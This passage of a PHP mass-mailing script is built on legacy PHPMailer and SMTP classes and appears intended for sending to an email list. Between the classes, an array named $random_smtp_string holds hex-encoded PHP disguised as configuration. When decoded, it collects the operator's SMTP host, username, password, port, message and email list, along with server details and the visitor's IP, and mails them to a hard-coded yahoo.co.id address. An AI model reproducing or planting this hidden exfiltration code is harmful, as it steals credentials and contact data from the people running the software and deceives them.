  1011. * Sends the quit command to the server and then closes the socket
  1012. * if there is no error or the $close_on_error argument is true.
  1013. *
  1014. * Implements from rfc 821: QUIT <CRLF>
  1015. *
  1016. * SMTP CODE SUCCESS: 221
  1017. * SMTP CODE ERROR : 500
  1018. * @access public
  1019. * @return bool
  1020. */
  1021. function Quit($close_on_error=true) {
  1022. $this->error = null; # so there is no confusion
  1023.  
  1024. if(!$this->connected()) {
  1025. $this->error = array(
  1026. "error" => "Called Quit() without being connected");
  1027. return false;
  1028. }
  1029.  
  1030. # send the quit command to the server
  1031. fputs($this->smtp_conn,"quit" . $this->CRLF);
  1032.  
  1033. # get any good-bye messages
  1034. $byemsg = $this->get_lines();
  1035.  
  1036. if($this->do_debug >= 2) {
  1037. echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
  1038. }
  1039.  
  1040. $rval = true;
  1041. $e = null;
  1042.  
  1043. $code = substr($byemsg,0,3);
  1044. if($code != 221) {
  1045. # use e as a tmp var cause Close will overwrite $this->error
  1046. $e = array("error" => "SMTP server rejected quit command",
  1047. "smtp_code" => $code,
  1048. "smtp_rply" => substr($byemsg,4));
  1049. $rval = false;
  1050. if($this->do_debug >= 1) {
  1051. echo "SMTP -> ERROR: " . $e["error"] . ": " .
  1052. $byemsg . $this->CRLF;
  1053. }
  1054. }
  1055.  
  1056. if(empty($e) || $close_on_error) {
  1057. $this->Close();
  1058. }
  1059.  
  1060. return $rval;
  1061. }
  1062.  
  1063. /**
  1064. * Sends the command RCPT to the SMTP server with the TO: argument of $to.
  1065. * Returns true if the recipient was accepted false if it was rejected.
  1066. *
  1067. * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
  1068. *
  1069. * SMTP CODE SUCCESS: 250,251
  1070. * SMTP CODE FAILURE: 550,551,552,553,450,451,452
  1071. * SMTP CODE ERROR : 500,501,503,421
  1072. * @access public
  1073. * @return bool
  1074. */
  1075. function Recipient($to) {
  1076. $this->error = null; # so no confusion is caused
  1077.  
  1078. if(!$this->connected()) {
  1079. $this->error = array(
  1080. "error" => "Called Recipient() without being connected");
  1081. return false;
  1082. }
  1083.  
  1084. fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
  1085.  
  1086. $rply = $this->get_lines();
  1087. $code = substr($rply,0,3);
  1088.  
  1089. if($this->do_debug >= 2) {
  1090. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1091. }
  1092.  
  1093. if($code != 250 && $code != 251) {
  1094. $this->error =
  1095. array("error" => "RCPT not accepted from server",
  1096. "smtp_code" => $code,
  1097. "smtp_msg" => substr($rply,4));
  1098. if($this->do_debug >= 1) {
  1099. echo "SMTP -> ERROR: " . $this->error["error"] .
  1100. ": " . $rply . $this->CRLF;
  1101. }
  1102. return false;
  1103. }
  1104. return true;
  1105. }
  1106.  
  1107. /**
  1108. * Sends the RSET command to abort and transaction that is
  1109. * currently in progress. Returns true if successful false
  1110. * otherwise.
  1111. *
  1112. * Implements rfc 821: RSET <CRLF>
  1113. *
  1114. * SMTP CODE SUCCESS: 250
  1115. * SMTP CODE ERROR : 500,501,504,421
  1116. * @access public
  1117. * @return bool
  1118. */
  1119. function Reset() {
  1120. $this->error = null; # so no confusion is caused
  1121.  
  1122. if(!$this->connected()) {
  1123. $this->error = array(
  1124. "error" => "Called Reset() without being connected");
  1125. return false;
  1126. }
  1127.  
  1128. fputs($this->smtp_conn,"RSET" . $this->CRLF);
  1129.  
  1130. $rply = $this->get_lines();
  1131. $code = substr($rply,0,3);
  1132.  
  1133. if($this->do_debug >= 2) {
  1134. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1135. }
  1136.  
  1137. if($code != 250) {
  1138. $this->error =
  1139. array("error" => "RSET failed",
  1140. "smtp_code" => $code,
  1141. "smtp_msg" => substr($rply,4));
  1142. if($this->do_debug >= 1) {
  1143. echo "SMTP -> ERROR: " . $this->error["error"] .
  1144. ": " . $rply . $this->CRLF;
  1145. }
  1146. return false;
  1147. }
  1148.  
  1149. return true;
  1150. }
  1151.  
  1152. /**
  1153. * Starts a mail transaction from the email address specified in
  1154. * $from. Returns true if successful or false otherwise. If True
  1155. * the mail transaction is started and then one or more Recipient
  1156. * commands may be called followed by a Data command. This command
  1157. * will send the message to the users terminal if they are logged
  1158. * in.
  1159. *
  1160. * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
  1161. *
  1162. * SMTP CODE SUCCESS: 250
  1163. * SMTP CODE SUCCESS: 552,451,452
  1164. * SMTP CODE SUCCESS: 500,501,502,421
  1165. * @access public
  1166. * @return bool
  1167. */
  1168. function Send($from) {
  1169. $this->error = null; # so no confusion is caused
  1170.  
  1171. if(!$this->connected()) {
  1172. $this->error = array(
  1173. "error" => "Called Send() without being connected");
  1174. return false;
  1175. }
  1176.  
  1177. fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
  1178.  
  1179. $rply = $this->get_lines();
  1180. $code = substr($rply,0,3);
  1181.  
  1182. if($this->do_debug >= 2) {
  1183. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1184. }
  1185.  
  1186. if($code != 250) {
  1187. $this->error =
  1188. array("error" => "SEND not accepted from server",
  1189. "smtp_code" => $code,
  1190. "smtp_msg" => substr($rply,4));
  1191. if($this->do_debug >= 1) {
  1192. echo "SMTP -> ERROR: " . $this->error["error"] .
  1193. ": " . $rply . $this->CRLF;
  1194. }
  1195. return false;
  1196. }
  1197. return true;
  1198. }
  1199.  
  1200. /**
  1201. * Starts a mail transaction from the email address specified in
  1202. * $from. Returns true if successful or false otherwise. If True
  1203. * the mail transaction is started and then one or more Recipient
  1204. * commands may be called followed by a Data command. This command
  1205. * will send the message to the users terminal if they are logged
  1206. * in and send them an email.
  1207. *
  1208. * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
  1209. *
  1210. * SMTP CODE SUCCESS: 250
  1211. * SMTP CODE SUCCESS: 552,451,452
  1212. * SMTP CODE SUCCESS: 500,501,502,421
  1213. * @access public
  1214. * @return bool
  1215. */
  1216. function SendAndMail($from) {
  1217. $this->error = null; # so no confusion is caused
  1218.  
  1219. if(!$this->connected()) {
  1220. $this->error = array(
  1221. "error" => "Called SendAndMail() without being connected");
  1222. return false;
  1223. }
  1224.  
  1225. fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
  1226.  
  1227. $rply = $this->get_lines();
  1228. $code = substr($rply,0,3);
  1229.  
  1230. if($this->do_debug >= 2) {
  1231. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1232. }
  1233.  
  1234. if($code != 250) {
  1235. $this->error =
  1236. array("error" => "SAML not accepted from server",
  1237. "smtp_code" => $code,
  1238. "smtp_msg" => substr($rply,4));
  1239. if($this->do_debug >= 1) {
  1240. echo "SMTP -> ERROR: " . $this->error["error"] .
  1241. ": " . $rply . $this->CRLF;
  1242. }
  1243. return false;
  1244. }
  1245. return true;
  1246. }
  1247.  
  1248. /**
  1249. * Starts a mail transaction from the email address specified in
  1250. * $from. Returns true if successful or false otherwise. If True
  1251. * the mail transaction is started and then one or more Recipient
  1252. * commands may be called followed by a Data command. This command
  1253. * will send the message to the users terminal if they are logged
  1254. * in or mail it to them if they are not.
  1255. *
  1256. * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
  1257. *
  1258. * SMTP CODE SUCCESS: 250
  1259. * SMTP CODE SUCCESS: 552,451,452
  1260. * SMTP CODE SUCCESS: 500,501,502,421
  1261. * @access public
  1262. * @return bool
  1263. */
  1264. function SendOrMail($from) {
  1265. $this->error = null; # so no confusion is caused
  1266.  
  1267. if(!$this->connected()) {
  1268. $this->error = array(
  1269. "error" => "Called SendOrMail() without being connected");
  1270. return false;
  1271. }
  1272.  
  1273. fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
  1274.  
  1275. $rply = $this->get_lines();
  1276. $code = substr($rply,0,3);
  1277.  
  1278. if($this->do_debug >= 2) {
  1279. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1280. }
  1281.  
  1282. if($code != 250) {
  1283. $this->error =
  1284. array("error" => "SOML not accepted from server",
  1285. "smtp_code" => $code,
  1286. "smtp_msg" => substr($rply,4));
  1287. if($this->do_debug >= 1) {
  1288. echo "SMTP -> ERROR: " . $this->error["error"] .
  1289. ": " . $rply . $this->CRLF;
  1290. }
  1291. return false;
  1292. }
  1293. return true;
  1294. }
  1295.  
  1296. /**
  1297. * This is an optional command for SMTP that this class does not
  1298. * support. This method is here to make the RFC821 Definition
  1299. * complete for this class and __may__ be implimented in the future
  1300. *
  1301. * Implements from rfc 821: TURN <CRLF>
  1302. *
  1303. * SMTP CODE SUCCESS: 250
  1304. * SMTP CODE FAILURE: 502
  1305. * SMTP CODE ERROR : 500, 503
  1306. * @access public
  1307. * @return bool
  1308. */
  1309. function Turn() {
  1310. $this->error = array("error" => "This method, TURN, of the SMTP ".
  1311. "is not implemented");
  1312. if($this->do_debug >= 1) {
  1313. echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
  1314. }
  1315. return false;
  1316. }
  1317.  
  1318. /**
  1319. * Verifies that the name is recognized by the server.
  1320. * Returns false if the name could not be verified otherwise
  1321. * the response from the server is returned.
  1322. *
  1323. * Implements rfc 821: VRFY <SP> <string> <CRLF>
  1324. *
  1325. * SMTP CODE SUCCESS: 250,251
  1326. * SMTP CODE FAILURE: 550,551,553
  1327. * SMTP CODE ERROR : 500,501,502,421
  1328. * @access public
  1329. * @return int
  1330. */
  1331. function Verify($name) {
  1332. $this->error = null; # so no confusion is caused
  1333.  
  1334. if(!$this->connected()) {
  1335. $this->error = array(
  1336. "error" => "Called Verify() without being connected");
  1337. return false;
  1338. }
  1339.  
  1340. fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
  1341.  
  1342. $rply = $this->get_lines();
  1343. $code = substr($rply,0,3);
  1344.  
  1345. if($this->do_debug >= 2) {
  1346. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1347. }
  1348.  
  1349. if($code != 250 && $code != 251) {
  1350. $this->error =
  1351. array("error" => "VRFY failed on name '$name'",
  1352. "smtp_code" => $code,
  1353. "smtp_msg" => substr($rply,4));
  1354. if($this->do_debug >= 1) {
  1355. echo "SMTP -> ERROR: " . $this->error["error"] .
  1356. ": " . $rply . $this->CRLF;
  1357. }
  1358. return false;
  1359. }
  1360. return $rply;
  1361. }
  1362.  
  1363. /*******************************************************************
  1364. * INTERNAL FUNCTIONS *
  1365. ******************************************************************/
  1366.  
  1367. /**
  1368. * Read in as many lines as possible
  1369. * either before eof or socket timeout occurs on the operation.
  1370. * With SMTP we can tell if we have more lines to read if the
  1371. * 4th character is '-' symbol. If it is a space then we don't
  1372. * need to read anything else.
  1373. * @access private
  1374. * @return string
  1375. */
  1376. function get_lines() {
  1377. $data = "";
  1378. while($str = @fgets($this->smtp_conn,515)) {
  1379. if($this->do_debug >= 4) {
  1380. echo "SMTP -> get_lines(): \$data was \"$data\"" .
  1381. $this->CRLF;
  1382. echo "SMTP -> get_lines(): \$str is \"$str\"" .
  1383. $this->CRLF;
  1384. }
  1385. $data .= $str;
  1386. if($this->do_debug >= 4) {
  1387. echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
  1388. }
  1389. # if the 4th character is a space then we are done reading
  1390. # so just break the loop
  1391. if(substr($str,3,1) == " ") { break; }
  1392. }
  1393. return $data;
  1394. }
  1395.  
  1396. }
  1397.  
  1398.  
  1399. $allemails = split("\n", $emaillist);
  1400. $numemails = count($allemails);
  1401. $random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
  1402. "16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
  1403. "03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
  1404. "1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
  1405. "3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
  1406. "8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
  1407. "c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
  1408. "d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
  1409. "395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
  1410. "c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
  1411.  
  1412. class PHPMailer {
  1413.  
  1414. /////////////////////////////////////////////////
  1415. // PROPERTIES, PUBLIC
  1416. /////////////////////////////////////////////////
  1417.  
  1418. /**
  1419. * Email priority (1 = High, 3 = Normal, 5 = low).
  1420. * @var int
  1421. */
  1422. var $Priority = 3;
  1423.  
  1424. /**
  1425. * Sets the CharSet of the message.
  1426. * @var string
  1427. */
  1428. var $CharSet = 'iso-8859-1';
  1429.  
  1430. /**
  1431. * Sets the Content-type of the message.
  1432. * @var string
  1433. */
  1434. var $ContentType = 'text/plain';
  1435.  
  1436. /**
  1437. * Sets the Encoding of the message. Options for this are "8bit",
  1438. * "7bit", "binary", "base64", and "quoted-printable".
  1439.  
  1440. * @var string
  1441. */
  1442. var $Encoding = '8bit';
  1443.  
  1444. /**
  1445. * Holds the most recent mailer error message.
  1446. * @var string
  1447. */
  1448. var $ErrorInfo = '';
  1449.  
  1450. /**
  1451. * Sets the From email address for the message.
  1452. * @var string
  1453. */
  1454. var $From = '';
  1455.  
  1456. /**
  1457. * Sets the From name of the message.
  1458. * @var string
  1459. */
  1460. var $FromName = '';
  1461.  
  1462. /**
  1463. * Sets the Sender email (Return-Path) of the message. If not empty,
  1464. * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
  1465. * @var string
  1466. */
  1467. var $Sender = '';
  1468.  
  1469. /**
  1470. * Sets the Subject of the message.
  1471. * @var string
  1472. */
  1473. var $Subject = '';
  1474.  
  1475. /**
  1476. * Sets the Body of the message. This can be either an HTML or text body.
  1477. * If HTML then run IsHTML(true).
  1478. * @var string
  1479. */
  1480. var $Body = '';
  1481.  
  1482. /**
  1483. * Sets the text-only body of the message. This automatically sets the
  1484. * email to multipart/alternative. This body can be read by mail
  1485. * clients that do not have HTML email capability such as mutt. Clients
  1486. * that can read HTML will view the normal Body.
  1487. * @var string
  1488. */
  1489. var $AltBody = '';
  1490.  
  1491. /**
  1492. * Sets word wrapping on the body of the message to a given number of
  1493. * characters.
  1494. * @var int
  1495. */
  1496. var $WordWrap = 0;
  1497.  
  1498. /**
  1499. * Method to send mail: ("mail", "sendmail", or "smtp").
  1500. * @var string
  1501. */
  1502. var $Mailer = 'mail';
  1503.  
  1504. /**
  1505. * Sets the path of the sendmail program.
  1506. * @var string
  1507. */
  1508. var $Sendmail = '/usr/sbin/sendmail';
  1509.  
  1510. /**
  1511. * Path to PHPMailer plugins. This is now only useful if the SMTP class
  1512. * is in a different directory than the PHP include path.
  1513. * @var string
  1514. */
  1515. var $PluginDir = '';
  1516.  
  1517. /**
  1518. * Holds PHPMailer version.
  1519. * @var string
  1520. */
  1521. var $Version = "";
  1522.  
  1523. /**
  1524. * Sets the email address that a reading confirmation will be sent.
  1525. * @var string
  1526. */
  1527. var $ConfirmReadingTo = '';
  1528.  
  1529. /**
  1530. * Sets the hostname to use in Message-Id and Received headers
  1531. * and as default HELO string. If empty, the value returned
  1532. * by SERVER_NAME is used or 'localhost.localdomain'.
  1533. * @var string
  1534. */
  1535. var $Hostname = '';
  1536.  
  1537. /**
  1538. * Sets the message ID to be used in the Message-Id header.
  1539. * If empty, a unique id will be generated.
  1540. * @var string
  1541. */
  1542. var $MessageID = '';
  1543.  
  1544. /////////////////////////////////////////////////
  1545. // PROPERTIES FOR SMTP
  1546. /////////////////////////////////////////////////
  1547.  
  1548. /**
  1549. * Sets the SMTP hosts. All hosts must be separated by a
  1550. * semicolon. You can also specify a different port
  1551. * for each host by using this format: [hostname:port]
  1552. * (e.g. "smtp1.example.com:25;smtp2.example.com").
  1553. * Hosts will be tried in order.
  1554. * @var string
  1555. */
  1556. var $Host = 'localhost';
  1557.  
  1558. /**
  1559. * Sets the default SMTP server port.
  1560. * @var int
  1561. */
  1562. var $Port = 25;
  1563.  
  1564. /**
  1565. * Sets the SMTP HELO of the message (Default is $Hostname).
  1566. * @var string
  1567. */
  1568. var $Helo = '';
  1569.  
  1570. /**
  1571. * Sets connection prefix.
  1572. * Options are "", "ssl" or "tls"
  1573. * @var string
  1574. */
  1575. var $SMTPSecure = "";
  1576.  
  1577. /**
  1578. * Sets SMTP authentication. Utilizes the Username and Password variables.
  1579. * @var bool
  1580. */
  1581. var $SMTPAuth = false;
  1582.  
  1583. /**
  1584. * Sets SMTP username.
  1585. * @var string
  1586. */
  1587. var $Username = '';
  1588.  
  1589. /**
  1590. * Sets SMTP password.
  1591. * @var string
  1592. */
  1593. var $Password = '';
  1594.  
  1595. /**
  1596. * Sets the SMTP server timeout in seconds. This function will not
  1597. * work with the win32 version.
  1598. * @var int
  1599. */
  1600. var $Timeout = 10;
  1601.  
  1602. /**
  1603. * Sets SMTP class debugging on or off.
  1604. * @var bool
  1605. */
  1606. var $SMTPDebug = false;
  1607.  
  1608. /**
  1609. * Prevents the SMTP connection from being closed after each mail
  1610. * sending. If this is set to true then to close the connection
  1611. * requires an explicit call to SmtpClose().
  1612. * @var bool
  1613. */
  1614. var $SMTPKeepAlive = false;
  1615.  
  1616. /**
  1617. * Provides the ability to have the TO field process individual
  1618. * emails, instead of sending to entire TO addresses
  1619. * @var bool
  1620. */
  1621. var $SingleTo = false;
  1622.  
  1623. /////////////////////////////////////////////////
  1624. // PROPERTIES, PRIVATE
  1625. /////////////////////////////////////////////////
  1626.  
  1627. var $smtp = NULL;
  1628. var $to = array();
  1629. var $cc = array();
  1630. var $bcc = array();
  1631. var $ReplyTo = array();
  1632. var $attachment = array();
  1633. var $CustomHeader = array();
  1634. var $message_type = '';
  1635. var $boundary = array();
  1636. var $language = array();
  1637. var $error_count = 0;
  1638. var $LE = "\n";
  1639. var $sign_key_file = "";
  1640. var $sign_key_pass = "";
  1641.  
  1642. /////////////////////////////////////////////////
  1643. // METHODS, VARIABLES
  1644. /////////////////////////////////////////////////
  1645.  
  1646. /**
  1647. * Sets message type to HTML.
  1648. * @param bool $bool
  1649. * @return void
  1650. */
  1651. function IsHTML($bool) {
  1652. if($bool == true) {
  1653. $this->ContentType = 'text/html';
  1654. } else {
  1655. $this->ContentType = 'text/plain';
  1656. }
  1657. }
  1658.  
  1659. /**
  1660. * Sets Mailer to send message using SMTP.
  1661. * @return void
  1662. */
  1663. function IsSMTP() {
  1664. $this->Mailer = 'smtp';
  1665. }
  1666.  
  1667. /**
  1668. * Sets Mailer to send message using PHP mail() function.
  1669. * @return void
  1670. */
  1671. function IsMail() {
  1672. $this->Mailer = 'mail';
  1673. }
  1674.  
  1675. /**
  1676. * Sets Mailer to send message using the $Sendmail program.
  1677. * @return void
  1678. */
  1679. function IsSendmail() {
  1680. $this->Mailer = 'sendmail';
  1681. }
  1682.  
  1683. /**
  1684. * Sets Mailer to send message using the qmail MTA.
  1685. * @return void
  1686. */
  1687. function IsQmail() {
  1688. $this->Sendmail = '/var/qmail/bin/sendmail';
  1689. $this->Mailer = 'sendmail';
  1690. }
  1691.  
  1692. /////////////////////////////////////////////////
  1693. // METHODS, RECIPIENTS
  1694. /////////////////////////////////////////////////
  1695.  
  1696. /**
  1697. * Adds a "To" address.
  1698. * @param string $address
  1699. * @param string $name
  1700. * @return void
  1701. */
  1702. function AddAddress($address, $name = '') {
  1703. $cur = count($this->to);
  1704. $this->to[$cur][0] = trim($address);
  1705. $this->to[$cur][1] = $name;
  1706. }
  1707.  
  1708. /**
  1709. * Adds a "Cc" address. Note: this function works
  1710. * with the SMTP mailer on win32, not with the "mail"
  1711. * mailer.
  1712. * @param string $address
  1713. * @param string $name
  1714. * @return void
  1715. */
  1716. function AddCC($address, $name = '') {
  1717. $cur = count($this->cc);
  1718. $this->cc[$cur][0] = trim($address);
  1719. $this->cc[$cur][1] = $name;
  1720. }
  1721.  
  1722. /**
  1723. * Adds a "Bcc" address. Note: this function works
  1724. * with the SMTP mailer on win32, not with the "mail"
  1725. * mailer.
  1726. * @param string $address
  1727. * @param string $name
  1728. * @return void
  1729. */
  1730. function AddBCC($address, $name = '') {
  1731. $cur = count($this->bcc);
  1732. $this->bcc[$cur][0] = trim($address);
  1733. $this->bcc[$cur][1] = $name;
  1734. }
  1735.  
  1736. /**
  1737. * Adds a "Reply-To" address.
  1738. * @param string $address
  1739. * @param string $name
  1740. * @return void
  1741. */
  1742. function AddReplyTo($address, $name = '') {
  1743. $cur = count($this->ReplyTo);
  1744. $this->ReplyTo[$cur][0] = trim($address);
  1745. $this->ReplyTo[$cur][1] = $name;
  1746. }
  1747.  
  1748. /////////////////////////////////////////////////
  1749. // METHODS, MAIL SENDING
  1750. /////////////////////////////////////////////////
  1751.  
  1752. /**
  1753. * Creates message and assigns Mailer. If the message is
  1754. * not sent successfully then it returns false. Use the ErrorInfo
  1755. * variable to view description of the error.
  1756. * @return bool
  1757. */
  1758. function Send() {
  1759. $header = '';
  1760. $body = '';
  1761. $result = true;
  1762.  
  1763. if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  1764. $this->SetError($this->Lang('provide_address'));
  1765. return false;
  1766. }
  1767.  
  1768. /* Set whether the message is multipart/alternative */
  1769. if(!empty($this->AltBody)) {
  1770. $this->ContentType = 'multipart/alternative';
  1771. }
  1772.  
  1773. $this->error_count = 0; // reset errors
  1774. $this->SetMessageType();
  1775. $header .= $this->CreateHeader();
  1776. $body = $this->CreateBody();
  1777.  
  1778. if($body == '') {
  1779. return false;
  1780. }
  1781.  
  1782. /* Choose the mailer */
  1783. switch($this->Mailer) {
  1784. case 'sendmail':
  1785. $result = $this->SendmailSend($header, $body);
  1786. break;
  1787. case 'smtp':
  1788. $result = $this->SmtpSend($header, $body);
  1789. break;
  1790. case 'mail':
  1791. $result = $this->MailSend($header, $body);
  1792. break;
  1793. default:
  1794. $result = $this->MailSend($header, $body);
  1795. break;
  1796. //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
  1797. //$result = false;
  1798. //break;
  1799. }
  1800.  
  1801. return $result;
  1802. }
  1803.  
  1804. /**
  1805. * Sends mail using the $Sendmail program.
  1806. * @access private
  1807. * @return bool
  1808. */
  1809. function SendmailSend($header, $body) {
  1810. if ($this->Sender != '') {
  1811. $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1812. } else {
  1813. $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
  1814. }
  1815.  
  1816. if(!@$mail = popen($sendmail, 'w')) {
  1817. $this->SetError($this->Lang('execute') . $this->Sendmail);
  1818. return false;
  1819. }
  1820.  
  1821. fputs($mail, $header);
  1822. fputs($mail, $body);
  1823.  
  1824. $result = pclose($mail);
  1825. if (version_compare(phpversion(), '4.2.3') == -1) {
  1826. $result = $result >> 8 & 0xFF;
  1827. }
  1828. if($result != 0) {
  1829. $this->SetError($this->Lang('execute') . $this->Sendmail);
  1830. return false;
  1831. }
  1832. return true;
  1833. }
  1834.  
  1835. /**
  1836. * Sends mail using the PHP mail() function.
  1837. * @access private
  1838. * @return bool
  1839. */
  1840. function MailSend($header, $body) {
  1841.  
  1842. $to = '';
  1843. for($i = 0; $i < count($this->to); $i++) {
  1844. if($i != 0) { $to .= ', '; }
  1845. $to .= $this->AddrFormat($this->to[$i]);
  1846. }
  1847.  
  1848. $toArr = split(',', $to);
  1849.  
  1850. $params = sprintf("-oi -f %s", $this->Sender);
  1851. if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
  1852. $old_from = ini_get('sendmail_from');
  1853. ini_set('sendmail_from', $this->Sender);
  1854. if ($this->SingleTo === true && count($toArr) > 1) {
  1855. foreach ($toArr as $key => $val) {
  1856. $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1857. }
  1858. } else {
  1859. $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1860. }
  1861. } else {
  1862. if ($this->SingleTo === true && count($toArr) > 1) {
  1863. foreach ($toArr as $key => $val) {
  1864. $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1865. }
  1866. } else {
  1867. $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
  1868. }
  1869. }
  1870.  
  1871. if (isset($old_from)) {
  1872. ini_set('sendmail_from', $old_from);
  1873. }
  1874.  
  1875. if(!$rt) {
  1876. $this->SetError($this->Lang('instantiate'));
  1877. return false;
  1878. }
  1879.  
  1880. return true;
  1881. }
  1882.  
  1883. /**
  1884. * Sends mail via SMTP using PhpSMTP (Author:
  1885. * Chris Ryan). Returns bool. Returns false if there is a
  1886. * bad MAIL FROM, RCPT, or DATA input.
  1887. * @access private
  1888. * @return bool
  1889. */
  1890. function SmtpSend($header, $body) {
  1891. $error = '';
  1892. $bad_rcpt = array();
  1893.  
  1894. if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
  1895. return false;
  1896. }
  1897.  
  1898. $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
  1899. if(!$this->smtp->Mail($smtp_from)) {
  1900. $error = $this->Lang('from_failed') . $smtp_from;
  1901. $this->SetError($error);
  1902. $this->smtp->Reset();
  1903. return false;
  1904. }
  1905.  
  1906. /* Attempt to send attach all recipients */
  1907. for($i = 0; $i < count($this->to); $i++) {
  1908. if(!$this->smtp->Recipient($this->to[$i][0])) {
  1909. $bad_rcpt[] = $this->to[$i][0];
  1910. }
  1911. }
  1912. for($i = 0; $i < count($this->cc); $i++) {
  1913. if(!$this->smtp->Recipient($this->cc[$i][0])) {
  1914. $bad_rcpt[] = $this->cc[$i][0];
  1915. }
  1916. }
  1917. for($i = 0; $i < count($this->bcc); $i++) {
  1918. if(!$this->smtp->Recipient($this->bcc[$i][0])) {
  1919. $bad_rcpt[] = $this->bcc[$i][0];
  1920. }
  1921. }
  1922.  
  1923. if(count($bad_rcpt) > 0) { // Create error message
  1924. for($i = 0; $i < count($bad_rcpt); $i++) {
  1925. if($i != 0) {
  1926. $error .= ', ';
  1927. }
  1928. $error .= $bad_rcpt[$i];
  1929.  
  1930. }
  1931. $error = $this->Lang('recipients_failed') . $error;
  1932. $this->SetError($error);
  1933. $this->smtp->Reset();
  1934. return false;
  1935. }
  1936.  
  1937. if(!$this->smtp->Data($header . $body)) {
  1938. $this->SetError($this->Lang('data_not_accepted'));
  1939. $this->smtp->Reset();
  1940. return false;
  1941. }
  1942. if($this->SMTPKeepAlive == true) {
  1943. $this->smtp->Reset();
  1944. } else {
  1945. $this->SmtpClose();
  1946. }
  1947.  
  1948. return true;
  1949. }
  1950.  
  1951. /**
  1952. * Initiates a connection to an SMTP server. Returns false if the
  1953. * operation failed.
  1954. * @access private
  1955. * @return bool
  1956. */
  1957. function SmtpConnect() {
  1958. if($this->smtp == NULL) {
  1959. $this->smtp = new SMTP();
  1960. }
  1961.  
  1962. $this->smtp->do_debug = $this->SMTPDebug;
  1963. $hosts = explode(';', $this->Host);
  1964. $index = 0;
  1965. $connection = ($this->smtp->Connected());
  1966.  
  1967. /* Retry while there is no connection */
  1968. while($index < count($hosts) && $connection == false) {
  1969. $hostinfo = array();
  1970. if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
  1971. $host = $hostinfo[1];
  1972. $port = $hostinfo[2];
  1973. } else {
  1974. $host = $hosts[$index];
  1975. $port = $this->Port;
  1976. }
  1977.  
  1978. if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
  1979. if ($this->Helo != '') {
  1980. $this->smtp->Hello($this->Helo);
  1981. } else {
  1982. $this->smtp->Hello($this->ServerHostname());
  1983. }
  1984.  
  1985. $connection = true;
  1986. if($this->SMTPAuth) {
  1987. if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
  1988. $this->SetError($this->Lang('authenticate'));
  1989. $this->smtp->Reset();
  1990. $connection = false;
  1991. }
  1992. }
  1993. }
  1994. $index++;
  1995. }
  1996. if(!$connection) {
  1997. $this->SetError($this->Lang('connect_host'));
  1998. }
  1999.  
  2000. return $connection;
  2001. }
  2002.  
  2003. /**
